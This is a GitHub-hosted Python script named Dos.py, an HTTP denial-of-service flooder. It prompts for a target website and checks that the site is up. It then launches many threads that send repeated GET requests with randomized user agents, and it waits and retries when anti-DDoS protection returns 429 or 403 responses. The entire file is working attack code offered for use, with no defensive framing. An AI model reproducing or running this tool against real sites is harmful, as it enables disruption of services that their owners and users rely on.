-
Notifications
You must be signed in to change notification settings - Fork 1
/
Dos.py
134 lines (100 loc) · 4.01 KB
/
Dos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import time
import sys
import requests
import http_status_code
import multiprocessing
from threading import Thread
from utils import ShowStartMessage, GetuserAgent
ShowStartMessage()
user_random = GetuserAgent()
index = 1
print("Enter Site Address\n in format of https://example.com")
site = input(": ")
if "https://" in site :
pass
elif not "https://" in site :
site = f"https://{site}"
elif "http://" in site :
site = site.replace("http://","https://")
def SendRequest():
"""This Function send request to address"""
global index, RequestNumber
print(index >= RequestNumber)
if index >= RequestNumber:
sys.exit("All Requests send successfully :)")
return
req = requests.get(site, headers=user_random)
print(f'[INFO] REQUEST NUMBER {index} [{req}] ')
if req.status_code == http_status_code.HTTP_429_TOO_MANY_REQUESTS:
print("Too Many Requests (Request Blocked by anti ddos) [Code : 429]")
time.sleep(10)
SendRequest()
if req.status_code == http_status_code.HTTP_403_FORBIDDEN:
print("Forbidden Error (Request Blocked by anti ddos) [Code : 429]")
time.sleep(10)
SendRequest()
index += 1
SendRequest()
def site_checking():
"""
This Function Check Site is AVAILABLE or not
"""
global site
try:
site_check = requests.get(site, headers=user_random, timeout=5)
statusCode = site_check.status_code
match statusCode:
case 200:
print(f"[OK] Success address is valid starting... [Code : 200]")
case http_status_code.HTTP_400_BAD_REQUEST:
print("Bad Request [Code : 400]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
case http_status_code.HTTP_500_INTERNAL_SERVER_ERROR:
print("Internal Server Error [Code : 500]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
case http_status_code.HTTP_503_SERVICE_UNAVAILABLE:
print("Service Unavailable [Code : 503]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
case http_status_code.HTTP_429_TOO_MANY_REQUESTS:
print("Too Many Requests (Request might Blocked by anti ddos) [Code : 429]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
case http_status_code.HTTP_403_FORBIDDEN:
print("Forbidden Error (Request might Blocked by anti ddos) [Code : 403]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
case _:
print(f"another Error [code : {site_check.status_code}]")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
except requests.exceptions.ConnectTimeout:
print("The server is offline Please check again when the server is online or check the IP address")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
except requests.exceptions.ConnectionError:
print("The server is offline Please check again when the server is online or check the IP address")
print("===== Try Again =====")
site = input("site address: ")
site_checking()
# before sending request check site is AVAILABLE
site_checking()
RequestNumber = int(input("Enter Number of Request:"))
TreadNumber = input("Enter Tread Number: [leave it black for automatically selected]")
if not TreadNumber:
# num_threads = (num_cpus * 2) + 1
TreadNumber = (multiprocessing.cpu_count() * 2) + 1
print(f"Number of Treads: {TreadNumber}")
for i in range(TreadNumber):
newTread = Thread(target=SendRequest)
newTread.start()
# time.sleep(RUNTIME)